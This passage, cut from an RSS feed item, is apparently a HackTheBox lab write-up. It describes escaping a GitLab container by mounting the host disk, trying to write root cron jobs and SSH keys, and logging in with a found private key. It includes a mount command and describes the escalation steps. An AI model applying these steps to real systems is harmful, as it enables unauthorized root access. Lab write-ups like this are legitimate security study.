gitlab, but the mount failed because that account lacked sufficient privileges. Now it worked.&lt;/p&gt;&#10;&lt;p&gt;Running fdisk -l produced the following result.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0738.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The filesystem appeared to be the physical host&amp;rsquo;s disk. I only needed to mount it at the test directory under /tmp.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;mkdir /tmp/test &amp;amp;&amp;amp; mount /dev/sda2 /tmp/test&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I mainly followed this post:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/12495" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/12495&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0739.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After mounting it, I could access it directly and retrieve the flag. But I still wanted proper root access.&lt;/p&gt;&#10;&lt;p&gt;I discovered that I could not write data into the scheduled-task directory. It reported insufficient space at /tmp/test/var/spool/cron/root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0740.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0741.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was at 100%. I could delete data but could not write, so I searched google again.&lt;/p&gt;&#10;&lt;p&gt;I deleted many things, but it still failed and reported that the disk was full.&lt;/p&gt;&#10;&lt;p&gt;There was already a root scheduled task under /tmp/test/var/spool/cron/crontabs, and this file was writable. I could append to or overwrite it. However, neither approach returned a shell. Writing a public key under root&amp;rsquo;s directory was also possible. After resetting the box, however, gitlab broke, and the platform would not let me reset it a second time so soon. Perhaps this happened because I overwrote /tmp/test/var/spool/cron/crontabs/root. It originally contained gitlab&amp;rsquo;s scheduled tasks; after I replaced it, those tasks were gone. Even resetting the box left it broken. This reset mechanism was rather ridiculous.&lt;/p&gt;&#10;&lt;p&gt;After some time passed, I reset it again and it recovered.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0742.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the private key and used it to connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0743.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. Although this box was rated medium, I did not find it particularly hard. In comparison, the previous box, number 29, luanne, was rated easy but was actually extremely difficult.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0744.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Its rating was also quite good, and it was an excellent box for broadening my experience.&lt;/p&gt;&#10;</description></item></channel></rss>